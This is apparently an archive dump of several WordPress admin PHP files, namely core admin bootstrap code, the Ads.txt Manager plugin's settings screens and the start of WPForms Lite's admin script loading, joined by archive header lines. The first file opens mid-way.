		 *    Settings, the page type would be 'settings'. Otherwise the type is 'toplevel'.
		 * 2. A separator of '_page_'.
		 * 3. The plugin basename minus the file extension.
		 *
		 * Together, the three parts form the `$page_hook`. Citing the example above,
		 * the hook name used would be 'load-settings_page_pluginbasename'.
		 *
		 * @see get_plugin_page_hook()
		 *
		 * @since 2.1.0
		 */
		do_action( "load-{$page_hook}" );
		if (! isset($_GET['noheader']))
			require_once(ABSPATH . 'wp-admin/admin-header.php');

		/**
		 * Used to call the registered callback for a plugin screen.
		 *
		 * @ignore
		 * @since 1.5.0
		 */
		do_action( $page_hook );
	} else {
		if ( validate_file( $plugin_page ) ) {
			wp_die( __( 'Invalid plugin page.' ) );
		}

		if ( !( file_exists(WP_PLUGIN_DIR . "/$plugin_page") && is_file(WP_PLUGIN_DIR . "/$plugin_page") ) && !( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") && is_file(WPMU_PLUGIN_DIR . "/$plugin_page") ) )
			wp_die(sprintf(__('Cannot load %s.'), htmlentities($plugin_page)));

		/**
		 * Fires before a particular screen is loaded.
		 *
		 * The load-* hook fires in a number of contexts. This hook is for plugin screens
		 * where the file to load is directly included, rather than the use of a function.
		 *
		 * The dynamic portion of the hook name, `$plugin_page`, refers to the plugin basename.
		 *
		 * @see plugin_basename()
		 *
		 * @since 1.5.0
		 */
		do_action( "load-{$plugin_page}" );

		if ( !isset($_GET['noheader']))
			require_once(ABSPATH . 'wp-admin/admin-header.php');

		if ( file_exists(WPMU_PLUGIN_DIR . "/$plugin_page") )
			include(WPMU_PLUGIN_DIR . "/$plugin_page");
		else
			include(WP_PLUGIN_DIR . "/$plugin_page");
	}

	include(ABSPATH . 'wp-admin/admin-footer.php');

	exit();
} elseif ( isset( $_GET['import'] ) ) {

	$importer = $_GET['import'];

	if ( ! current_user_can( 'import' ) ) {
		wp_die( __( 'Sorry, you are not allowed to import content.' ) );
	}

	if ( validate_file($importer) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	if ( ! isset($wp_importers[$importer]) || ! is_callable($wp_importers[$importer][2]) ) {
		wp_redirect( admin_url( 'import.php?invalid=' . $importer ) );
		exit;
	}

	/**
	 * Fires before an importer screen is loaded.
	 *
	 * The dynamic portion of the hook name, `$importer`, refers to the importer slug.
	 *
	 * @since 3.5.0
	 */
	do_action( "load-importer-{$importer}" );

	$parent_file = 'tools.php';
	$submenu_file = 'import.php';
	$title = __('Import');

	if (! isset($_GET['noheader']))
		require_once(ABSPATH . 'wp-admin/admin-header.php');

	require_once(ABSPATH . 'wp-admin/includes/upgrade.php');

	define('WP_IMPORTING', true);

	/**
	 * Whether to filter imported data through kses on import.
	 *
	 * Multisite uses this hook to filter all data through kses by default,
	 * as a super administrator may be assisting an untrusted user.
	 *
	 * @since 3.1.0
	 *
	 * @param bool $force Whether to force data to be filtered through kses. Default false.
	 */
	if ( apply_filters( 'force_filtered_html_on_import', false ) ) {
		kses_init_filters();  // Always filter imported data with kses on multisite.
	}

	call_user_func($wp_importers[$importer][2]);

	include(ABSPATH . 'wp-admin/admin-footer.php');

	// Make sure rules are flushed
	flush_rewrite_rules(false);

	exit();
} else {
	/**
	 * Fires before a particular screen is loaded.
	 *
	 * The load-* hook fires in a number of contexts. This hook is for core screens.
	 *
	 * The dynamic portion of the hook name, `$pagenow`, is a global variable
	 * referring to the filename of the current page, such as 'admin.php',
	 * 'post-new.php' etc. A complete hook for the latter would be
	 * 'load-post-new.php'.
	 *
	 * @since 2.1.0
	 */
	do_action( "load-{$pagenow}" );

	/*
	 * The following hooks are fired to ensure backward compatibility.
	 * In all other cases, 'load-' . $pagenow should be used instead.
	 */
	if ( $typenow == 'page' ) {
		if ( $pagenow == 'post-new.php' )
			do_action( 'load-page-new.php' );
		elseif ( $pagenow == 'post.php' )
			do_action( 'load-page.php' );
	}  elseif ( $pagenow == 'edit-tags.php' ) {
		if ( $taxnow == 'category' )
			do_action( 'load-categories.php' );
		elseif ( $taxnow == 'link_category' )
			do_action( 'load-edit-link-categories.php' );
	} elseif( 'term.php' === $pagenow ) {
		do_action( 'load-edit-tags.php' );
	}
}

if ( ! empty( $_REQUEST['action'] ) ) {
	/**
	 * Fires when an 'action' request variable is sent.
	 *
	 * The dynamic portion of the hook name, `$_REQUEST['action']`,
	 * refers to the action derived from the `GET` or `POST` request.
	 *
	 * @since 2.6.0
	 */
	do_action( 'admin_action_' . $_REQUEST['action'] );
}
home/xbodynamge/dev/wp-admin/network/admin.php000060400000002011151143432510015402 0ustar00<?php
/**
 * WordPress Network Administration Bootstrap
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

define( 'WP_NETWORK_ADMIN', true );

/** Load WordPress Administration Bootstrap */
require_once( dirname( dirname( __FILE__ ) ) . '/admin.php' );

// Do not remove this check. It is required by individual network admin pages.
if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

$redirect_network_admin_request = 0 !== strcasecmp( $current_blog->domain, $current_site->domain ) || 0 !== strcasecmp( $current_blog->path, $current_site->path );

/**
 * Filters whether to redirect the request to the Network Admin.
 *
 * @since 3.2.0
 *
 * @param bool $redirect_network_admin_request Whether the request should be redirected.
 */
$redirect_network_admin_request = apply_filters( 'redirect_network_admin_request', $redirect_network_admin_request );
if ( $redirect_network_admin_request ) {
	wp_redirect( network_admin_url() );
	exit;
}
unset( $redirect_network_admin_request );
home/xbodynamge/lebauwcentre/wp-admin/includes/admin.php000060400000005672151143616520017446 0ustar00<?php
/**
 * Core Administration API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

if ( ! defined( 'WP_ADMIN' ) ) {
	/*
	 * This file is being included from a file other than wp-admin/admin.php, so
	 * some setup was skipped. Make sure the admin message catalog is loaded since
	 * load_default_textdomain() will not have done so in this context.
	 */
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
}

/** WordPress Administration Hooks */
require_once( ABSPATH . 'wp-admin/includes/admin-filters.php' );

/** WordPress Bookmark Administration API */
require_once( ABSPATH . 'wp-admin/includes/bookmark.php' );

/** WordPress Comment Administration API */
require_once( ABSPATH . 'wp-admin/includes/comment.php' );

/** WordPress Administration File API */
require_once( ABSPATH . 'wp-admin/includes/file.php' );

/** WordPress Image Administration API */
require_once( ABSPATH . 'wp-admin/includes/image.php' );

/** WordPress Media Administration API */
require_once( ABSPATH . 'wp-admin/includes/media.php' );

/** WordPress Import Administration API */
require_once( ABSPATH . 'wp-admin/includes/import.php' );

/** WordPress Misc Administration API */
require_once( ABSPATH . 'wp-admin/includes/misc.php' );

/** WordPress Options Administration API */
require_once( ABSPATH . 'wp-admin/includes/options.php' );

/** WordPress Plugin Administration API */
require_once( ABSPATH . 'wp-admin/includes/plugin.php' );

/** WordPress Post Administration API */
require_once( ABSPATH . 'wp-admin/includes/post.php' );

/** WordPress Administration Screen API */
require_once( ABSPATH . 'wp-admin/includes/class-wp-screen.php' );
require_once( ABSPATH . 'wp-admin/includes/screen.php' );

/** WordPress Taxonomy Administration API */
require_once( ABSPATH . 'wp-admin/includes/taxonomy.php' );

/** WordPress Template Administration API */
require_once( ABSPATH . 'wp-admin/includes/template.php' );

/** WordPress List Table Administration API and base class */
require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php' );
require_once( ABSPATH . 'wp-admin/includes/list-table.php' );

/** WordPress Theme Administration API */
require_once( ABSPATH . 'wp-admin/includes/theme.php' );

/** WordPress User Administration API */
require_once( ABSPATH . 'wp-admin/includes/user.php' );

/** WordPress Site Icon API */
require_once( ABSPATH . 'wp-admin/includes/class-wp-site-icon.php' );

/** WordPress Update Administration API */
require_once( ABSPATH . 'wp-admin/includes/update.php' );

/** WordPress Deprecated Administration API */
require_once( ABSPATH . 'wp-admin/includes/deprecated.php' );

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once( ABSPATH . 'wp-admin/includes/ms-admin-filters.php' );
	require_once( ABSPATH . 'wp-admin/includes/ms.php' );
	require_once( ABSPATH . 'wp-admin/includes/ms-deprecated.php' );
}
home/xbodynamge/crosstraining/wp-content/plugins/custom-1750156756/inc/admin.php000064400000041632151143663020023260 0ustar00<?php
/**
 * Admin functionality for Ads.txt.
 *
 * @package Ads_Txt_Manager
 */

namespace AdsTxt;

/**
 * Enqueue any necessary scripts.
 *
 * @param  string $hook Hook name for the current screen.
 *
 * @return void
 */
function admin_enqueue_scripts( $hook ) {
	if ( ! preg_match( '/adstxt-settings$/', $hook ) ) {
		return;
	}

	wp_enqueue_script(
		'adstxt',
		esc_url( plugins_url( '/js/admin.js', dirname( __FILE__ ) ) ),
		array( 'jquery', 'wp-backbone', 'wp-codemirror' ),
		ADS_TXT_MANAGER_VERSION,
		true
	);
	wp_enqueue_style( 'code-editor' );
	wp_enqueue_style(
		'adstxt',
		esc_url( plugins_url( '/css/admin.css', dirname( __FILE__ ) ) ),
		array(),
		ADS_TXT_MANAGER_VERSION
	);

	$strings = array(
		'error_message' => esc_html__( 'Your Ads.txt contains the following issues:', 'ads-txt' ),
		'unknown_error' => esc_html__( 'An unknown error occurred.', 'ads-txt' ),
	);

	if ( 'settings_page_app-adstxt-settings' === $hook ) {
		$strings['error_message'] = esc_html__( 'Your app-ads.txt contains the following issues:', 'ads-txt' );
	}

	wp_localize_script( 'adstxt', 'adstxt', $strings );
}
add_action( 'admin_enqueue_scripts', __NAMESPACE__ . '\admin_enqueue_scripts' );

/**
 * Output some CSS directly in the head of the document.
 *
 * Should there ever be more than ~25 lines of CSS, this should become a separate file.
 *
 * @return void
 */
function admin_head_css() {
	?>
<style>
.CodeMirror {
	width: 100%;
	min-height: 60vh;
	height: calc( 100vh - 295px );
	border: 1px solid #ddd;
	box-sizing: border-box;
	}
</style>
	<?php
}
add_action( 'admin_head-settings_page_adstxt-settings', __NAMESPACE__ . '\admin_head_css' );
add_action( 'admin_head-settings_page_app-adstxt-settings', __NAMESPACE__ . '\admin_head_css' );

/**
 * Appends a query argument to the edit url to make sure it is redirected to
 * the ads.txt screen.
 *
 * @since 1.2.0
 *
 * @param string $url Edit url.
 * @return string Edit url.
 */
function ads_txt_adjust_revisions_return_to_editor_link( $url ) {
	global $pagenow, $post;

	if ( 'revision.php' !== $pagenow || ! isset( $_REQUEST['adstxt'] ) ) { // @codingStandardsIgnoreLine Nonce not required.
		return $url;
	}

	$type = 'adstxt';

	if ( 'app-adstxt' === $post->post_type ) {
		$type = 'app-adstxt';
	}

	return admin_url( 'options-general.php?page=' . $type . '-settings' );
}
add_filter( 'get_edit_post_link', __NAMESPACE__ . '\ads_txt_adjust_revisions_return_to_editor_link' );

/**
 * Modifies revisions data to preserve adstxt argument used in determining
 * where to redirect user returning to editor.
 *
 * @since 1.9.0
 *
 * @param array $revisions_data The bootstrapped data for the revisions screen.
 * @return array Modified bootstrapped data for the revisions screen.
 */
function adstxt_revisions_restore( $revisions_data ) {
	if ( isset( $_REQUEST['adstxt'] ) ) { // @codingStandardsIgnoreLine Nonce not required.
		$revisions_data['restoreUrl'] = add_query_arg(
			'adstxt',
			1,
			$revisions_data['restoreUrl']
		);
	}

	return $revisions_data;
}
add_filter( 'wp_prepare_revision_for_js', __NAMESPACE__ . '\adstxt_revisions_restore' );

/**
 * Hide the revisions title with CSS, since WordPress always shows the title
 * field even if unchanged, and the title is not relevant for ads.txt.
 */
function admin_header_revisions_styles() {
	$current_screen = get_current_screen();

	if ( ! $current_screen || 'revision' !== $current_screen->id ) {
		return;
	}

	if ( ! isset( $_REQUEST['adstxt'] ) ) { // @codingStandardsIgnoreLine Nonce not required.
		return;
	}

	?>
	<style>
		.revisions-diff .diff h3 {
			display: none;
		}
		.revisions-diff .diff table.diff:first-of-type {
			display: none;
		}
	</style>
	<?php

}
add_action( 'admin_head', __NAMESPACE__ . '\admin_header_revisions_styles' );

/**
 * Add admin menu page.
 *
 * @return void
 */
function admin_menu() {
	add_options_page(
		esc_html__( 'Ads.txt', 'ads-txt' ),
		esc_html__( 'Ads.txt', 'ads-txt' ),
		ADS_TXT_MANAGE_CAPABILITY,
		'adstxt-settings',
		__NAMESPACE__ . '\adstxt_settings_screen'
	);

	add_options_page(
		esc_html__( 'App-ads.txt', 'ads-txt' ),
		esc_html__( 'App-ads.txt', 'ads-txt' ),
		ADS_TXT_MANAGE_CAPABILITY,
		'app-adstxt-settings',
		__NAMESPACE__ . '\app_adstxt_settings_screen'
	);
}
add_action( 'admin_menu', __NAMESPACE__ . '\admin_menu' );

/**
 * Set up settings screen for ads.txt.
 *
 * @return void
 */
function adstxt_settings_screen() {
	$post_id = get_option( ADS_TXT_MANAGER_POST_OPTION );

	$strings = array(
		'existing'      => __( 'Existing Ads.txt file found', 'ads-txt' ),
		'precedence'    => __( 'An ads.txt file on the server will take precedence over any content entered here. You will need to rename or remove the existing ads.txt file before you will be able to see any changes you make on this screen.', 'ads-txt' ),
		'errors'        => __( 'Your Ads.txt contains the following issues:', 'ads-txt' ),
		'screen_title'  => __( 'Manage Ads.txt', 'ads-txt' ),
		'content_label' => __( 'Ads.txt content', 'ads-txt' ),
	);

	$args = array(
		'post_type'  => 'adstxt',
		'post_title' => 'Ads.txt',
		'option'     => ADS_TXT_MANAGER_POST_OPTION,
		'action'     => 'adstxt-save',
	);

	settings_screen( $post_id, $strings, $args );
}

/**
 * Set up settings screen for app-ads.txt.
 *
 * @return void
 */
function app_adstxt_settings_screen() {
	$post_id = get_option( APP_ADS_TXT_MANAGER_POST_OPTION );

	$strings = array(
		'existing'      => __( 'Existing App-ads.txt file found', 'ads-txt' ),
		'precedence'    => __( 'An app-ads.txt file on the server will take precedence over any content entered here. You will need to rename or remove the existing app-ads.txt file before you will be able to see any changes you make on this screen.', 'ads-txt' ),
		'errors'        => __( 'Your app-ads.txt contains the following issues:', 'ads-txt' ),
		'screen_title'  => __( 'Manage App-ads.txt', 'ads-txt' ),
		'content_label' => __( 'App-ads.txt content', 'ads-txt' ),
	);

	$args = array(
		'post_type'  => 'app-adstxt',
		'post_title' => 'App-ads.txt',
		'option'     => APP_ADS_TXT_MANAGER_POST_OPTION,
		'action'     => 'app-adstxt-save',
	);

	settings_screen( $post_id, $strings, $args );
}

/**
 * Output the settings screen for both files.
 *
 * @param int   $post_id Post ID associated with the file.
 * @param array $strings Translated strings that mention the specific file name.
 * @param array $args    Array of other necessary information to appropriately name items.
 *
 * @return void
 */
function settings_screen( $post_id, $strings, $args ) {
	$post             = false;
	$content          = false;
	$errors           = array();
	$revision_count   = 0;
	$last_revision_id = false;

	if ( $post_id ) {
		$post = get_post( $post_id );
	}

	if ( is_a( $post, 'WP_Post' ) ) {
		$content          = $post->post_content;
		$revisions        = wp_get_post_revisions( $post->ID );
		$revision_count   = count( $revisions );
		$last_revision    = array_shift( $revisions );
		$last_revision_id = $last_revision ? $last_revision->ID : false;
		$errors           = get_post_meta( $post->ID, 'adstxt_errors', true );
		$warnings         = get_post_meta( $post->ID, 'adstxt_warnings', true );
		$revisions_link   = $last_revision_id ? admin_url( 'revision.php?adstxt=1&revision=' . $last_revision_id ) : false;

	} else {

		// Create an initial post so the second save creates a comparable revision.
		$postarr = array(
			'post_title'   => $args['post_title'],
			'post_content' => '',
			'post_type'    => $args['post_type'],
			'post_status'  => 'publish',
		);

		$post_id = wp_insert_post( $postarr );
		if ( $post_id ) {
			update_option( $args['option'], $post_id );
		}
	}

	// Clean orphaned posts.
	clean_orphaned_posts( $post_id, $args['post_type'] );
	?>
<div class="wrap">
	<?php if ( ! empty( $warnings ) ) : ?>
		<div class="notice notice-warning adstxt-notice">
		<ul>
			<?php
			foreach ( $warnings as $warning ) {
				echo '<li>';

				// Errors were originally stored as an array.
				// This old style only needs to be accounted for here at runtime display.
				if ( isset( $warning['message'] ) ) {
					/* translators: Error message output. 1: Error message */
					$message = sprintf(
						'%1$s',
						$warning['message']
					);

					echo esc_html( $message );
				} else {
					display_formatted_error( $warning );
				}

				echo '</li>';
			}
			?>
		</ul>
		</div>
	<?php endif; ?>
	<div class="notice notice-error adstxt-notice existing-adstxt" style="display: none;">
		<p><strong><?php echo esc_html( $strings['existing'] ); ?></strong></p>
		<p><?php echo esc_html( $strings['precedence'] ); ?></p>

		<p><?php echo esc_html_e( 'Removed the existing file but are still seeing this warning?', 'ads-txt' ); ?> <a class="ads-txt-rerun-check" href="#"><?php echo esc_html_e( 'Re-run the check now', 'ads-txt' ); ?></a> <span class="spinner" style="float:none;margin:-2px 5px 0"></span></p>
	</div>
	<?php if ( ! empty( $errors ) ) : ?>
	<div class="notice notice-error adstxt-notice adstxt-notice-save-error">
		<p><strong><?php echo esc_html( $strings['errors'] ); ?></strong></p>
		<ul>
			<?php
			foreach ( $errors as $error ) {
				echo '<li>';

				// Errors were originally stored as an array.
				// This old style only needs to be accounted for here at runtime display.
				if ( isset( $error['message'] ) ) {
					$message = sprintf(
						/* translators: Error message output. 1: Line number, 2: Error message */
						__( 'Line %1$s: %2$s', 'ads-txt' ),
						$error['line'],
						$error['message']
					);

					echo esc_html( $message );
				} else {
					display_formatted_error( $error );
				}

				echo '</li>';
			}
			?>
		</ul>
	</div>
	<?php endif; ?>

	<h2><?php echo esc_html( $strings['screen_title'] ); ?></h2>

	<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>" class="adstxt-settings-form">
		<input type="hidden" name="post_id" value="<?php echo esc_attr( $post_id ) ? esc_attr( $post_id ) : ''; ?>" />
		<input type="hidden" name="adstxt_type" value="<?php echo esc_attr( $args['post_type'] ); ?>" />
		<input type="hidden" name="action" value="<?php echo esc_attr( $args['action'] ); ?>" />
		<?php wp_nonce_field( 'adstxt_save' ); ?>

		<label class="screen-reader-text" for="adstxt_content"><?php echo esc_html( $strings['content_label'] ); ?></label>
		<textarea class="widefat code" rows="25" name="adstxt" id="adstxt_content"><?php echo esc_textarea( $content ); ?></textarea>
		<?php
		if ( $revision_count > 1 ) {
			?>
			<div class="misc-pub-section misc-pub-revisions">
			<?php
				echo wp_kses_post(
					sprintf(
						/* translators: Post revisions heading. 1: The number of available revisions */
						__( 'Revisions: <span class="adstxt-revision-count">%s</span>', 'ads-txt' ),
						number_format_i18n( $revision_count )
					)
				);
			?>
				<a class="hide-if-no-js" href="<?php echo esc_url( $revisions_link ); ?>">
					<span aria-hidden="true">
						<?php echo esc_html( __( 'Browse', 'ads-txt' ) ); ?>
					</span> <span class="screen-reader-text">
						<?php echo esc_html( __( 'Browse revisions', 'ads-txt' ) ); ?>
					</span>
				</a>
		</div>
			<?php
		}
		?>
		<div id="adstxt-notification-area"></div>

		<p class="submit">
			<input type="submit" name="submit" id="submit" class="button button-primary" value="<?php echo esc_attr( 'Save Changes' ); ?>">
			<span class="spinner" style="float:none;vertical-align:top"></span>
		</p>

	</form>

	<script type="text/template" id="tmpl-adstext-notice">
		<# if ( ! _.isUndefined( data.errors ) ) { #>
		<div class="notice notice-error adstxt-notice adstxt-errors adstxt-notice-save-error">
			<p><strong>{{ data.errors.error_message }}</strong></p>
			<# if ( ! _.isUndefined( data.errors.errors ) ) { #>
			<ul class="adstxt-errors-items">
			<# _.each( data.errors.errors, function( error ) { #>
				<?php foreach ( array_keys( get_error_messages() ) as $error_type ) : ?>
				<# if ( "<?php echo esc_html( $error_type ); ?>" === error.type ) { #>
					<li>
						<?php
						display_formatted_error(
							array(
								'line'  => '{{error.line}}',
								'type'  => $error_type,
								'value' => '{{error.value}}',
							)
						);
						?>
					</li>
				<# } #>
				<?php endforeach; ?>
			<# } ); #>
			</ul>
			<# } #>
		</div>

		<# if ( _.isUndefined( data.saved ) && ! _.isUndefined( data.errors.errors ) ) { #>
		<p class="adstxt-ays">
			<input id="adstxt-ays-checkbox" name="adstxt_ays" type="checkbox" value="y" />
			<label for="adstxt-ays-checkbox">
				<?php esc_html_e( 'Update anyway, even though it may adversely affect your ads?', 'ads-txt' ); ?>
			</label>
		</p>
		<# } #>

		<# } #>
	</script>
</div>

	<?php
}

/**
 * Take an error array and output it as a message.
 *
 * @param  array $error {
 *     Array of error message components.
 *
 *     @type int    $line    Line number of the error.
 *     @type string $type    Type of error.
 *     @type string $value   Optional. Value in question.
 * }
 *
 * @return string|void
 */
function display_formatted_error( $error ) {
	$messages = get_error_messages();

	if ( ! isset( $messages[ $error['type'] ] ) ) {
		return __( 'Unknown error', 'adstxt' );
	}

	if ( ! isset( $error['value'] ) ) {
		$error['value'] = '';
	}

	$message = sprintf( esc_html( $messages[ $error['type'] ] ), '<code>' . esc_html( $error['value'] ) . '</code>' );

	printf(
		/* translators: Error message output. 1: Line number, 2: Error message */
		esc_html__( 'Line %1$s: %2$s', 'ads-txt' ),
		esc_html( $error['line'] ),
		wp_kses_post( $message )
	);
}

/**
 * Get all non-generic error messages, translated and with placeholders intact.
 *
 * @return array Associative array of error messages.
 */
function get_error_messages() {
	$messages = array(
		'invalid_variable'     => __( 'Unrecognized variable' ),
		'invalid_record'       => __( 'Invalid record' ),
		'invalid_account_type' => __( 'Third field should be RESELLER or DIRECT' ),
		/* translators: %s: Subdomain */
		'invalid_subdomain'    => __( '%s does not appear to be a valid subdomain' ),
		/* translators: %s: Exchange domain */
		'invalid_exchange'     => __( '%s does not appear to be a valid exchange domain' ),
		/* translators: %s: Alphanumeric TAG-ID */
		'invalid_tagid'        => __( '%s does not appear to be a valid TAG-ID' ),
	);

	return $messages;
}

/**
 * Maybe display admin notices on the Ads.txt settings page.
 *
 * @return void
 */
function admin_notices() {
	if ( 'settings_page_adstxt-settings' === get_current_screen()->base ) {
		$saved = __( 'Ads.txt saved', 'ads-txt' );
	} elseif ( 'settings_page_app-adstxt-settings' === get_current_screen()->base ) {
		$saved = __( 'App-ads.txt saved', 'ads-txt' );
	} else {
		return;
	}

	if ( isset( $_GET['ads_txt_saved'] ) ) : // @codingStandardsIgnoreLine Nonce not required.
		?>
	<div class="notice notice-success adstxt-notice adstxt-saved">
		<p><?php echo esc_html( $saved ); ?></p>
	</div>
		<?php
	elseif ( isset( $_GET['revision'] ) ) : // @codingStandardsIgnoreLine Nonce not required.
		?>
	<div class="notice notice-success adstxt-notice adstxt-saved">
		<p><?php echo esc_html__( 'Revision restored', 'ads-txt' ); ?></p>
	</div>
		<?php
	endif;
}
add_action( 'admin_notices', __NAMESPACE__ . '\admin_notices' );

/**
 * Clean orphaned posts if found.
 *
 * @param int    $option    adstxt | app_adstxt post ID.
 * @param string $post_type The post type, either 'adstxt' or 'app_adstxt'.
 *
 * @return boolean
 */
function clean_orphaned_posts( $option, $post_type ) {
	$args = [
		'fields'    => 'ids', // Only get post IDs.
		'post_type' => $post_type,
	];

	$ads_posts = get_posts( $args );

	if ( 1 === count( $ads_posts ) && [ (int) $option ] === $ads_posts ) {
		return false;
	}

	// Search for the active post ID and remove it from the array.
	$index = array_search( (int) $option, $ads_posts, true );
	if ( false !== $index ) {
		unset( $ads_posts[ $index ] );
	}

	if ( empty( $ads_posts ) ) {
		return false;
	}

	foreach ( $ads_posts as $post_id ) {
		wp_delete_post( $post_id, true );
	}

	return true;
}

/**
 * Check if ads.txt file already exists in the server
 *
 * @return void
 */
function adstxts_check_for_existing_file() {
	current_user_can( ADS_TXT_MANAGE_CAPABILITY ) || die;
	check_admin_referer( 'adstxt_save' );

	$home_url_parsed = wp_parse_url( home_url() );
	$adstxt_type     = sanitize_text_field( $_POST['adstxt_type'] );

	if ( 'adstxt' !== $adstxt_type && 'app-adstxt' !== $adstxt_type ) {
		wp_die();
	}

	$file_name = 'adstxt' === $adstxt_type ? '/ads.txt' : '/app-ads.txt';

	if ( empty( $home_url_parsed['path'] ) ) {
		$response = wp_remote_request( home_url( $file_name ) );

		$file_exist = false;
		if ( ! is_wp_error( $response ) ) {
			// Check the ads.txt generator header.
			$headers    = wp_remote_retrieve_headers( $response );
			$generator  = isset( $headers['X-Ads-Txt-Generator'] ) ? $headers['X-Ads-Txt-Generator'] : '';
			$file_exist = 'https://wordpress.org/plugins/ads-txt/' !== $generator;
		}

		// Return the response
		wp_send_json(
			[
				'success'    => true,
				'file_exist' => $file_exist,
			]
		);

		// Make sure to exit
		wp_die();
	}
}

add_action( 'wp_ajax_adstxts_check_for_existing_file', __NAMESPACE__ . '\adstxts_check_for_existing_file' );
home/xbodynamge/dev/wp-content/plugins/wpforms-lite/includes/admin/admin.php000064400000036131151146500650023324 0ustar00<?php
/**
 * Global admin related items and functionality.
 *
 * @package    WPForms
 * @author     WPForms
 * @since      1.3.9
 * @license    GPL-2.0+
 * @copyright  Copyright (c) 2017, WPForms LLC
 */

/**
 * Load styles for all WPForms-related admin screens.
 *
 * @since 1.3.9
 */
function wpforms_admin_styles() {

	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	$min = wpforms_get_min_suffix();

	// jQuery confirm.
	wp_enqueue_style(
		'jquery-confirm',
		WPFORMS_PLUGIN_URL . 'assets/css/jquery-confirm.min.css',
		array(),
		'3.3.2'
	);

	// Minicolors (color picker).
	wp_enqueue_style(
		'minicolors',
		WPFORMS_PLUGIN_URL . 'assets/css/jquery.minicolors.css',
		array(),
		'2.2.6'
	);

	// FontAwesome.
	wp_enqueue_style(
		'wpforms-font-awesome',
		WPFORMS_PLUGIN_URL . 'assets/css/font-awesome.min.css',
		null,
		'4.7.0'
	);

	// Main admin styles.
	wp_enqueue_style(
		'wpforms-admin',
		WPFORMS_PLUGIN_URL . "assets/css/admin{$min}.css",
		array(),
		WPFORMS_VERSION
	);
}

add_action( 'admin_enqueue_scripts', 'wpforms_admin_styles' );

/**
 * Load scripts for all WPForms-related admin screens.
 *
 * @since 1.3.9
 */
function wpforms_admin_scripts() {

	if ( ! wpforms_is_admin_page() ) {
		return;
	}

	$min = wpforms_get_min_suffix();

	wp_enqueue_media();

	// jQuery confirm.
	wp_enqueue_script(
		'jquery-confirm',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.jquery-confirm.min.js',
		array( 'jquery' ),
		'3.3.2',
		false
	);

	// Minicolors (color picker).
	wp_enqueue_script(
		'minicolors',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.minicolors.min.js',
		array( 'jquery' ),
		'2.2.6',
		false
	);

	// Choices.js.
	wp_enqueue_script(
		'choicesjs',
		WPFORMS_PLUGIN_URL . 'assets/js/choices.min.js',
		array(),
		'2.8.10',
		false
	);

	// jQuery Conditionals.
	wp_enqueue_script(
		'jquery-conditionals',
		WPFORMS_PLUGIN_URL . 'assets/js/jquery.conditionals.min.js',
		array( 'jquery' ),
		'1.0.1',
		false
	);

	// Main admin script.
	wp_enqueue_script(
		'wpforms-admin',
		WPFORMS_PLUGIN_URL . "assets/js/admin{$min}.js",
		array( 'jquery' ),
		WPFORMS_VERSION,
		false
	);

	$strings = array(
		'addon_activate'                  => esc_html__( 'Activate', 'wpforms-lite' ),
		'addon_activated'                 => esc_html__( 'Activated', 'wpforms' ),
		'addon_active'                    => esc_html__( 'Active', 'wpforms-lite' ),
		'addon_deactivate'                => esc_html__( 'Deactivate', 'wpforms-lite' ),
		'addon_inactive'                  => esc_html__( 'Inactive', 'wpforms-lite' ),
		'addon_install'                   => esc_html__( 'Install Addon', 'wpforms-lite' ),
		'addon_error'                     => esc_html__( 'Could not install an addon. Please download from wpforms.com and install manually.', 'wpforms' ),
		'plugin_error'                    => esc_html__( 'Could not install a plugin. Please download from WordPress.org and install manually.', 'wpforms-lite' ),
		'addon_search'                    => esc_html__( 'Searching Addons', 'wpforms-lite' ),
		'ajax_url'                        => admin_url( 'admin-ajax.php' ),
		'cancel'                          => esc_html__( 'Cancel', 'wpforms-lite' ),
		'close'                           => esc_html__( 'Close', 'wpforms-lite' ),
		'entry_delete_confirm'            => esc_html__( 'Are you sure you want to delete this entry?', 'wpforms-lite' ),
		'entry_delete_all_confirm'        => esc_html__( 'Are you sure you want to delete ALL entries?', 'wpforms-lite' ),
		'entry_empty_fields_hide'         => esc_html__( 'Hide Empty Fields', 'wpforms-lite' ),
		'entry_empty_fields_show'         => esc_html__( 'Show Empty Fields', 'wpforms-lite' ),
		'entry_field_columns'             => esc_html__( 'Entries Field Columns', 'wpforms-lite' ),
		'entry_note_delete_confirm'       => esc_html__( 'Are you sure you want to delete this note?', 'wpforms-lite' ),
		'entry_unstar'                    => esc_html__( 'Unstar entry', 'wpforms-lite' ),
		'entry_star'                      => esc_html__( 'Star entry', 'wpforms-lite' ),
		'entry_read'                      => esc_html__( 'Mark entry read', 'wpforms-lite' ),
		'entry_unread'                    => esc_html__( 'Mark entry unread', 'wpforms-lite' ),
		'form_delete_confirm'             => esc_html__( 'Are you sure you want to delete this form?', 'wpforms-lite' ),
		'form_duplicate_confirm'          => esc_html__( 'Are you sure you want to duplicate this form?', 'wpforms-lite' ),
		'heads_up'                        => esc_html__( 'Heads up!', 'wpforms-lite' ),
		'importer_forms_required'         => esc_html__( 'Please select at least one form to import.', 'wpforms-lite' ),
		'isPro'                           => wpforms()->pro,
		'nonce'                           => wp_create_nonce( 'wpforms-admin' ),
		'ok'                              => esc_html__( 'OK', 'wpforms-lite' ),
		'plugin_install_activate_btn'     => esc_html__( 'Install and Activate', 'wpforms-lite' ),
		'plugin_install_activate_confirm' => esc_html__( 'needs to be installed and activated to import its forms. Would you like us to install and activate it for you?', 'wpforms-lite' ),
		'plugin_activate_btn'             => esc_html__( 'Activate', 'wpforms-lite' ),
		'plugin_activate_confirm'         => esc_html__( 'needs to be activated to import its forms. Would you like us to activate it for you?', 'wpforms-lite' ),
		'provider_delete_confirm'         => esc_html__( 'Are you sure you want to disconnect this account?', 'wpforms-lite' ),
		'provider_auth_error'             => esc_html__( 'Could not authenticate with the provider.', 'wpforms-lite' ),
